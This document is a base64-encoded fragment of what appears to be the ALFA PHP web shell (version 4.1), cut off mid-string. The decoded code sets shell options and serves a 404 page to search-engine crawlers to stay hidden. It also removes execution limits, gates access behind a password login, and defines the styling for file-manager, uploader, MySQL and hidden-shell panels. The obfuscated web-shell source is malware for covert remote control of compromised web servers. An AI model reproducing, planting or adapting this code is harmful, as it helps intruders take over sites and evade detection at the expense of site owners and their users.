ZWlmICgkcHJlZml4ID09ICJzYSIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsic2FmZW1vZGUiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJzYWZlbW9kZV9yYW5kIl0gPSAka2V5OwoJfQoJZWxzZWlmICgkcHJlZml4ID09ICJsbyIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsibG9naW5fcGFnZSJdID0gJHZhbHVlOwoJCSRHTE9CQUxTWydEQl9OQU1FJ11bImxvZ2luX3BhZ2VfcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeCA9PSAic2giKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInNob3dfaWNvbnMiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJzaG93X2ljb25zX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gInBvIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJwb3N0X2VuY3J5cHRpb24iXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJwb3N0X2VuY3J5cHRpb25fcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeCA9PSAiY2ciKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bImNnaV9hcGkiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJjZ2lfYXBpX3JhbmQiXSA9ICRrZXk7Cgl9Cn0KCnVuc2V0KCRHTE9CQUxTWydvWmdOeXBvUFJVJ10pOwoKaWYgKCFpc3NldCgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pKSBleGl0KCk7CgppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7JHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwiU2x1cnAiLCJNU05Cb3QiLCJpYV9hcmNoaXZlciIsIllhbmRleCIsIlJhbWJsZXIiLCJib3QiLCJzcGlkZXIiKTtpZihwcmVnX21hdGNoKCcvJy5pbXBsb2RlKCd8JywkdXNlckFnZW50cykuJy9pJywkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXtoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTtleGl0O319CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWyd1c2VyJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3VzZXJcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bhc3MnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wncGFzc1wnXScpOwppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2FmZW1vZGUnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnc2FmZW1vZGVcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ2xvZ2luX3BhZ2UnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnbG9naW5fcGFnZVwnXScpOwppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCdzaG93X2ljb25zXCddJyk7CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydwb3N0X2VuY3J5cHRpb24nXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wncG9zdF9lbmNyeXB0aW9uXCddJyk7CmRlZmluZSgiX19BTEZBX1ZFUlNJT05fXyIsICI0LjEiKTsKZGVmaW5lKCJfX0FMRkFfVVBEQVRFX18iLCAiMiIpOwpkZWZpbmUoIl9fQUxGQV9DT0RFX05BTUVfXyIsICJUZXNsYSIpOwpkZWZpbmUoIl9fQUxGQV9EQVRBX0ZPTERFUl9fIiwgIkFMRkFfREFUQSIpOwpkZWZpbmUoIl9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXyIsIChpc3NldCgkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb24iXSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbiJdPT10cnVlP3RydWU6ZmFsc2UpKTsKZGVmaW5lKCJfX0FMRkFfU0VDUkVUX0tFWV9fIiwgX19BTEZBX1BPU1RfRU5DUllQVElPTl9fP19BbGZhU2VjcmV0S2V5KCk6JycpOwokR0xPQkFMU1snX19BTEZBX0NPTE9SX18nXSA9IGFycmF5KAoJCSJzaGVsbF9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlciIgPT4gImJvcmRlcjogN3B4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIiNtZXVubGlzdCIgPT4gImJvcmRlci1jb2xvcjoge2NvbG9yfSIsCgkJCQkiI2hpZGRlbl9zaCIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn0iLAoJCQkJIi5hamF4YXJlYSIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIi5mb290IiA9PiAiYm9yZGVyLWNvbG9yOiB7Y29sb3J9IiwKCQkJKQoJCSksCgkJImhlYWRlcl92YXJzIiA9PiAiIzI3OTc5QiIsCgkJImhlYWRlcl92YWx1ZXMiID0+ICIjNjdBQkRGIiwKCQkiaGVhZGVyX29uIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9vZmYiID0+ICIjZmYwMDAwIiwKCQkiaGVhZGVyX25vbmUiID0+ICIjMDBGRjAwIiwKCQkiaG9tZV9zaGVsbCIgPT4gIiNmZjAwMDAiLAoJCSJob21lX3NoZWxsOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5ob21lX3NoZWxsOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImJhY2tfc2hlbGwiID0+ICIjZWZiZTczIiwKCQkiYmFja19zaGVsbDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuYmFja19zaGVsbDpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJoZWFkZXJfcHdkIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9wd2Q6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlcl9wd2Q6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGVhZGVyX2RyaXZlIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9kcml2ZTpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaGVhZGVyX2RyaXZlOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImhlYWRlcl9zaG93X2FsbCIgPT4gIiMwMEZGMDAiLAoJCSJkaXNhYmxlX2Z1bmN0aW9ucyIgPT4gIiNmZjAwMDAiLAoJCSJmb290ZXJfdGV4dCIgPT4gIiMyNzk3OUIiLAoJCSJtZW51X29wdGlvbnMiID0+ICIjMjc5NzlCIiwKCQkibWVudV9vcHRpb25zOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tZW51X29wdGlvbnM6aG92ZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMEZGMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZXIgY2VudGVyIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0OmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZXIgY2VudGVyIGE6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X2hlYWRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNTljYzMzIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIudHh0Zm9udF9oZWFkZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLnR4dGZvbnQsLnRibHR4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJBbGZhKyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDZmZjBmIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuYWxmYV9wbHVzIiA9PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJoaWRkZW5fc2hlbGxfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDBGRjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIjaGlkZGVuX3NoIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGlkZGVuX3NoZWxsX3ZlcnNpb24iID0+ICIjZmYwMDAwIiwKCQkic2hlbGxfbmFtZSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3Jvdzpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiB0cjpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5faGVhZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIHRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5fbmFtZSIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiAubWFpbl9uYW1lIiA9PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJtYWluX3NpemUiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9tb2RpZnkiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9vd25lcl9ncm91cCIgPT4gIiM2N0FCREYiLAoJCSJtYWluX2dyZWVuX3Blcm0iID0+ICIjMjVmZjAwIiwKCQkibWFpbl9yZWRfcGVybSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3doaXRlX3Blcm0iID0+ICIjRkZGRkZGIiwKCQkiYmVldHdlZW5fcGVybXMiID0+ICIjRkZGRkZGIiwKCQkibWFpbl9hY3Rpb25zIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIC5hY3Rpb25zIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1lbnVfb3B0aW9uczpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWVudV9vcHRpb25zOmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTtmb250LXdlaWdodDogdW5zZXQ7IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5taW5pbWl6ZWQtd3JhcHBlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl90ZXh0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNmNWRlYjMiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5taW5pbWl6ZWQtdGV4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3ItZXhwbG9yZXIsLmVkaXRvci1tb2RhbCIgPT4gImJvcmRlcjogMnB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gInJnYmEoMCwgMSwgMjMsIDAuOTQpIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWV4cGxvcmVyLC5lZGl0b3ItbW9kYWwiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGVhZGVyX2JhY2tncm91bmQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAicmdiYSgyMSwgNjYsIDg4LCAwLjkzKSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvci1oZWFkZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGVhZGVyX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzAwZmY3ZiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvci1wYXRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9oZWFkZXJfYnV0dG9uIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMxZDU2NzMiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jbG9zZS1idXR0b24sIC5lZGl0b3ItbWluaW1pemUiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYWN0aW9ucyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yX2FjdGlvbnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfaW5mb192YXJzIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3JfZmlsZV9pbmZvX3ZhcnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfaW5mb192YWx1ZXMiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmZpbGVzdG9vbHMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfaGVhZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMxNGZmMDciLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5oaGVhZGVyLXRleHQsLmhpc3RvcnktY2xlYXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfbGlzdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDNiM2EzIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWZpbGUtbmFtZSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGlzdG9yeV9zZWxlY3RlZF9maWxlIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gInJnYmEoNDksIDU1LCA5MywgMC43NykiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pc19hY3RpdmUiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGlzdG9yeV9maWxlOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5maWxlLWhvbGRlciA+IC5oaXN0b3J5OmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaW5wdXRfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfSIsCgkJCSkKCQkpLAoJCSJpbnB1dF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjOTk5OTk5IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImlucHV0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdOmhvdmVyLHRleHRhcmVhOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJzZWxlY3RfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJib3JkZXI6IDFweCBzb2xpZCB7Y29sb3J9IiwKCQkJKQoJCSksCgkJInNlbGVjdF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkVFIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkic2VsZWN0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3Q6aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImJ1dHRvbl9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiaW5wdXRbdHlwZT1zdWJtaXRdLC5idXR0b24sI2FkZHVwIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiYnV0dG9uOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMyNzk3OUIiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJImlucHV0W3R5cGU9c3VibWl0XTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoycHggc29saWQge2NvbG9yfTsiLAoJCQkJIi5idXR0b246aG92ZXIsI2FkZHVwOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLm1sMSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWwxIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInVwbG9hZGVyX2JhY2tncm91bmQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZSBzdHJvbmciID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJ1cGxvYWRlcl90ZXh0X3JpZ2h0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUgc3Ryb25nIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInVwbG9hZGVyX3RleHRfbGVmdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjVmZjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaW5wdXRmaWxlIHNwYW4iID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXI6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfcHJvZ3Jlc3NfYmFyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMGZmMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi51cF9iYXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJteXNxbF90YWJsZXMiID0+ICIjMDBGRjAwIiwKCQkibXlzcWxfdGFibGVfY291bnQiID0+ICIjNjdBQkRGIiwKCQkiY29weXJpZ2h0IiA9PiAiI2RmZmYwMCIsCgkJInNjcm9sbGJhciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMWU4MmI1IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIqOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInNjcm9sbGJhcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMDAxMTUiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIio6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKKTsKJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10gPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyx0cmltKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKTsKJGNvbmZpZyA9IGFycmF5KCdBbGZhVXNlcicgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsndXNlciddLCdBbGZhUGFzcycgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsncGFzcyddLCdBbGZhUHJvdGVjdFNoZWxsJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddLCdBbGZhTG9naW5QYWdlJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydsb2dpbl9wYWdlJ10pOwovL0BzZXNzaW9uX3N0YXJ0KCk7CkBzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CkBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJy0xJyk7CkBpbmlfc2V0KCJ1cGxvYWRfbWF4X2ZpbGVzaXplIiwgIjk5OTltIik7CmlmKCRjb25maWdbJ0FsZmFQcm90ZWN0U2hlbGwnXSl7CiRTRVJWRVJfU0lHID0gKGlzc2V0KCRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl0pPyRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl06IiIpOwokRWZvcm09Jzxmb3JtIG1ldGhvZD0icG9zdCI+PGlucHV0IHN0eWxlPSJtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIj48L2Zvcm0+JzsKaWYoJGNvbmZpZ1snQWxmYUxvZ2luUGFnZSddID09ICdndWknKXsKaWYoQCRfQ09PS0lFWyJBbGZhVXNlciJdICE9ICRjb25maWdbJ0FsZmFVc2VyJ10gJiYgJF9DT09LSUVbIkFsZmFQYXNzIl0gIT0gbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKXsKaWYoQCRfUE9TVFsidXNybmFtZSJdPT0kY29uZmlnWydBbGZhVXNlciddICYmIEBtZDUoJF9QT1NUWyJwYXNzd29yZCJdKT09JGNvbmZpZ1snQWxmYVBhc3MnXSl7Cl9fYWxmYV9zZXRfY29va2llKCJBbGZhVXNlciIsICRjb25maWdbJ0FsZmFVc2VyJ10pOwpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVBhc3MiLCBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKTsKQGhlYWRlcignbG9jYXR